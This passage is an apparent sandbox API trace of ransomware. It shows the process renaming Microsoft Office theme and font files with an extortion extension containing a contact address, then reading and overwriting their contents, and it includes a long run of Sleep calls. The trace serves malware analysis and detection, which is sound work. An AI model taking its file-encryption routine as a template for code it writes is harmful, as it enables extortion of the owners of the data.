lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.522] WriteFile (in: hFile=0x5ec, lpBuffer=0x69a24f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x69a24f*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0249.522] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.522] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0249.522] CloseHandle (hObject=0x5ec) returned 1 [0249.522] GetProcessHeap () returned 0x630000 [0249.522] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x699eb0 | out: hHeap=0x630000) returned 1 [0249.522] GetProcessHeap () returned 0x630000 [0249.522] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745c8a0 | out: hHeap=0x630000) returned 1 [0249.523] GetProcessHeap () returned 0x630000 [0249.523] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0249.523] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5aac65c1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3cd, dwReserved0=0xb747496, dwReserved1=0x745c898, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5400 [0249.523] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0249.523] Sleep (dwMilliseconds=0x1) [0249.528] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\THMBNAIL.PNG", len=0x6d | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\THMBNAIL.PNG") returned 1 [0249.528] GetProcessHeap () returned 0x630000 [0249.528] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dd4) returned 0x6fe3bb0 [0249.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0249.528] CloseHandle (hObject=0x6a8) returned 1 [0249.529] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.529] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.560] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.560] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x63005b, dwReserved1=0x6e006f, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5040 [0249.561] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0249.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0249.561] GetProcessHeap () returned 0x630000 [0249.561] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8581) returned 0x717648 [0249.561] GetProcessHeap () returned 0x630000 [0249.561] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8581) returned 0x73c8410 [0249.561] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.561] ReadFile (in: hFile=0x6a8, lpBuffer=0x717648, nNumberOfBytesToRead=0x8560, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x717648*, lpNumberOfBytesRead=0x45bff0c*=0x8560, lpOverlapped=0x0) returned 1 [0254.144] GetProcessHeap () returned 0x630000 [0254.144] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0254.144] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.144] WriteFile (in: hFile=0x6a8, lpBuffer=0x73c8410*, nNumberOfBytesToWrite=0x8560, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73c8410*, lpNumberOfBytesWritten=0x45bff0c*=0x8560, lpOverlapped=0x0) returned 1 [0254.145] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.145] WriteFile (in: hFile=0x6a8, lpBuffer=0x73d096f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d096f*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0254.145] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.145] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0254.145] CloseHandle (hObject=0x6a8) returned 1 [0254.145] GetProcessHeap () returned 0x630000 [0254.145] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73c8410 | out: hHeap=0x630000) returned 1 [0254.148] GetProcessHeap () returned 0x630000 [0254.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717648 | out: hHeap=0x630000) returned 1 [0254.148] GetProcessHeap () returned 0x630000 [0254.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0254.394] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.403] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d6da0af, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8597, dwReserved0=0xb747496, dwReserved1=0x717640, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d51c0 [0254.403] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.403] Sleep (dwMilliseconds=0x1) [0255.819] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\LAYERS.ELM", len=0x6c | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\LAYERS.ELM") returned 1 [0255.819] GetProcessHeap () returned 0x630000 [0255.819] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d24) returned 0x6fe3bb0 [0255.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\layers.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0257.881] CloseHandle (hObject=0x4bc) returned 1 [0257.881] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.881] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\layers.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\LAYERS.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\layers.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0259.955] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0259.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\LAYERS.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ba1ded, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="LAYERS.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LAYERS~2.FIR")) returned 0x6d4f40 [0259.955] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0259.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\LAYERS.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\layers.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0259.955] GetProcessHeap () returned 0x630000 [0259.955] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73005d8 [0261.845] GetProcessHeap () returned 0x630000 [0261.845] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70dd910 [0261.845] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.846] ReadFile (in: hFile=0x4bc, lpBuffer=0x73005d8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005d8*, lpNumberOfBytesRead=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0267.968] GetProcessHeap () returned 0x630000 [0267.968] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0267.968] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.968] WriteFile (in: hFile=0x4bc, lpBuffer=0x70dd910*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70dd910*, lpNumberOfBytesWritten=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0267.969] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.969] WriteFile (in: hFile=0x4bc, lpBuffer=0x70e8d0f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e8d0f*, lpNumberOfBytesWritten=0x45bff0c*=0x20, lpOverlapped=0x0) returned 1 [0267.969] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.969] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x45bff0c*=0x4, lpOverlapped=0x0) returned 1 [0267.969] CloseHandle (hObject=0x4bc) returned 1 [0267.969] GetProcessHeap () returned 0x630000 [0267.970] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70dd910 | out: hHeap=0x630000) returned 1 [0267.970] GetProcessHeap () returned 0x630000 [0267.970] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73005d8 | out: hHeap=0x630000) returned 1 [0267.970] GetProcessHeap () returned 0x630000 [0267.970] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0267.970] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0267.970] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\LAYERS.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfcc4 | out: lpFindFileData=0x45bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ba1ded, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x65ac5e51, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe767, dwReserved0=0xb747496, dwReserved1=0x73005d0, cFileName="LAYERS.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LAYERS~2.FIR")) returned 0x6d5500 [0267.970] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0267.970] Sleep (dwMilliseconds=0x1) [0270.034] SysReAllocStringLen (in: pbstr=0x45bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCRIPTBL.TTF", len=0x45 | out: pbstr=0x45bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCRIPTBL.TTF") returned 1 [0270.034] GetProcessHeap () returned 0x630000 [0270.034] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b34) returned 0x6fe3bb0 [0270.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCRIPTBL.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\scriptbl.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0270.060] CloseHandle (hObject=0x414) returned 1 [0270.060] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0270.060] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCRIPTBL.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\scriptbl.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCRIPTBL.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\scriptbl.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0270.065] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x45bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0270.065] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCRIPTBL.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x45bfc6c | out: lpFindFileData=0x45bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x868f8b70, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868f8b70, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a762bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd8cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCRIPTBL.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SCRIPT~1.FIR")) returned 0x6d4f40 [0270.065] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0270.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCRIPTBL.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\scriptbl.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0270.066] GetProcessHeap () returned 0x630000 [0270.066] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f76480 [0270.066] GetProcessHeap () returned 0x630000 [0270.066] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f818b0 [0270.067] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.067] ReadFile (in: hFile=0x414, lpBuffer=0x6f76480, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x45bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f76480*, lpNumberOfBytesRead=0x45bff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 55 os_tid = 0xfa8 [0067.525] Sleep (dwMilliseconds=0x1) [0067.537] Sleep (dwMilliseconds=0x1) [0067.555] Sleep (dwMilliseconds=0x1) [0067.654] Sleep (dwMilliseconds=0x1) [0067.664] Sleep (dwMilliseconds=0x1) [0067.677] Sleep (dwMilliseconds=0x1) [0067.695] Sleep (dwMilliseconds=0x1) [0067.708] Sleep (dwMilliseconds=0x1) [0067.727] Sleep (dwMilliseconds=0x1) [0067.739] Sleep (dwMilliseconds=0x1) [0067.765] Sleep (dwMilliseconds=0x1) [0067.771] Sleep (dwMilliseconds=0x1) [0067.791] Sleep (dwMilliseconds=0x1) [0067.930] Sleep (dwMilliseconds=0x1) [0068.039] Sleep (dwMilliseconds=0x1) [0068.150] Sleep (dwMilliseconds=0x1) [0068.279] Sleep (dwMilliseconds=0x1) [0068.399] Sleep (dwMilliseconds=0x1) [0068.495] Sleep (dwMilliseconds=0x1) [0068.543] Sleep (dwMilliseconds=0x1) [0068.700] Sleep (dwMilliseconds=0x1) [0068.744] Sleep (dwMilliseconds=0x1) [0068.795] Sleep (dwMilliseconds=0x1) [0068.840] Sleep (dwMilliseconds=0x1) [0068.886] Sleep (dwMilliseconds=0x1) [0068.932] Sleep (dwMilliseconds=0x1) [0068.978] Sleep (dwMilliseconds=0x1) [0069.045] Sleep (dwMilliseconds=0x1) [0069.107] Sleep (dwMilliseconds=0x1) [0069.156] Sleep (dwMilliseconds=0x1) [0069.201] Sleep (dwMilliseconds=0x1) [0069.246] Sleep (dwMilliseconds=0x1) [0069.295] Sleep (dwMilliseconds=0x1) [0069.375] Sleep (dwMilliseconds=0x1) [0069.437] Sleep (dwMilliseconds=0x1) [0069.480] Sleep (dwMilliseconds=0x1) [0069.525] Sleep (dwMilliseconds=0x1) [0069.692] Sleep (dwMilliseconds=0x1) [0069.922] Sleep (dwMilliseconds=0x1) [0070.144] Sleep (dwMilliseconds=0x1) [0070.265] Sleep (dwMilliseconds=0x1) [0070.379] Sleep (dwMilliseconds=0x1) [0070.537] Sleep (dwMilliseconds=0x1) [0070.873] Sleep (dwMilliseconds=0x1) [0071.565] Sleep (dwMilliseconds=0x1) [0071.939] Sleep (dwMilliseconds=0x1) [0072.425] Sleep (dwMilliseconds=0x1) [0072.603] Sleep (dwMilliseconds=0x1) [0072.803] Sleep (dwMilliseconds=0x1) [0072.951] Sleep (dwMilliseconds=0x1) [0073.103] Sleep (dwMilliseconds=0x1) [0073.540] Sleep (dwMilliseconds=0x1) [0073.723] Sleep (dwMilliseconds=0x1) [0073.933] Sleep (dwMilliseconds=0x1) [0074.046] Sleep (dwMilliseconds=0x1) [0074.178] Sleep (dwMilliseconds=0x1) [0074.384] Sleep (dwMilliseconds=0x1) [0074.668] Sleep (dwMilliseconds=0x1) [0074.775] Sleep (dwMilliseconds=0x1) [0074.845] Sleep (dwMilliseconds=0x1) [0074.905] Sleep (dwMilliseconds=0x1) [0075.000] Sleep (dwMilliseconds=0x1) [0075.060] Sleep (dwMilliseconds=0x1) [0075.106] Sleep (dwMilliseconds=0x1) [0075.157] Sleep (dwMilliseconds=0x1) [0075.216] Sleep (dwMilliseconds=0x1) [0075.264] Sleep (dwMilliseconds=0x1) [0075.304] Sleep (dwMilliseconds=0x1) [0075.362] Sleep (dwMilliseconds=0x1) [0075.421] Sleep (dwMilliseconds=0x1) [0075.513] Sleep (dwMilliseconds=0x1) [0075.568] Sleep (dwMilliseconds=0x1) [0075.612] Sleep (dwMilliseconds=0x1) [0075.631] Sleep (dwMilliseconds=0x1) [0075.699] Sleep (dwMilliseconds=0x1) [0075.744] Sleep (dwMilliseconds=0x1) [0075.793] Sleep (dwMilliseconds=0x1) [0075.830] Sleep (dwMilliseconds=0x1) [0075.844] Sleep (dwMilliseconds=0x1) [0076.042] Sleep (dwMilliseconds=0x1) [0076.064] Sleep (dwMilliseconds=0x1) [0076.081] Sleep (dwMilliseconds=0x1) [0076.108] Sleep (dwMilliseconds=0x1) [0076.184] Sleep (dwMilliseconds=0x1) [0076.393] Sleep (dwMilliseconds=0x1) [0076.528] Sleep (dwMilliseconds=0x1) [0076.673] Sleep (dwMilliseconds=0x1) [0076.708] Sleep (dwMilliseconds=0x1) [0076.779] Sleep (dwMilliseconds=0x1) [0076.800] Sleep (dwMilliseconds=0x1) [0076.847] Sleep (dwMilliseconds=0x1) [0076.873] Sleep (dwMilliseconds=0x1) [0076.918] Sleep (dwMilliseconds=0x1) [0076.987] Sleep (dwMilliseconds=0x1) [0077.073] Sleep (dwMilliseconds=0x1) [0077.150] Sleep (dwMilliseconds=0x1) [0077.219] Sleep (dwMilliseconds=0x1) [0077.291] Sleep (dwMilliseconds=0x1) [0077.357] Sleep (dwMilliseconds=0x1) [0077.415] Sleep (dwMilliseconds=0x1) [0077.518] Sleep (dwMilliseconds=0x1) [0077.600] Sleep (dwMilliseconds=0x1) [0077.646] Sleep (dwMilliseconds=0x1) [0077.691] Sleep (dwMilliseconds=0x1) [0077.734] Sleep (dwMilliseconds=0x1) [0077.784] Sleep (dwMilliseconds=0x1) [0077.830] Sleep (dwMilliseconds=0x1) [0077.859] Sleep (dwMilliseconds=0x1) [0077.909] Sleep (dwMilliseconds=0x1) [0077.961] Sleep (dwMilliseconds=0x1) [0077.979] Sleep (dwMilliseconds=0x1) [0077.997] Sleep (dwMilliseconds=0x1) [0078.088] Sleep (dwMilliseconds=0x1) [0078.115] Sleep (dwMilliseconds=0x1) [0078.136] Sleep (dwMilliseconds=0x1) [0078.190] Sleep (dwMilliseconds=0x1) [0078.226] Sleep (dwMilliseconds=0x1) [0078.235] Sleep (dwMilliseconds=0x1) [0078.256] Sleep (dwMilliseconds=0x1) [0078.269] Sleep (dwMilliseconds=0x1) [0078.288] Sleep (dwMilliseconds=0x1) [0078.311] Sleep (dwMilliseconds=0x1) [0078.363] Sleep (dwMilliseconds=0x1) [0078.376] Sleep (dwMilliseconds=0x1) [0078.516] Sleep (dwMilliseconds=0x1) [0078.533] Sleep (dwMilliseconds=0x1) [0078.562] Sleep 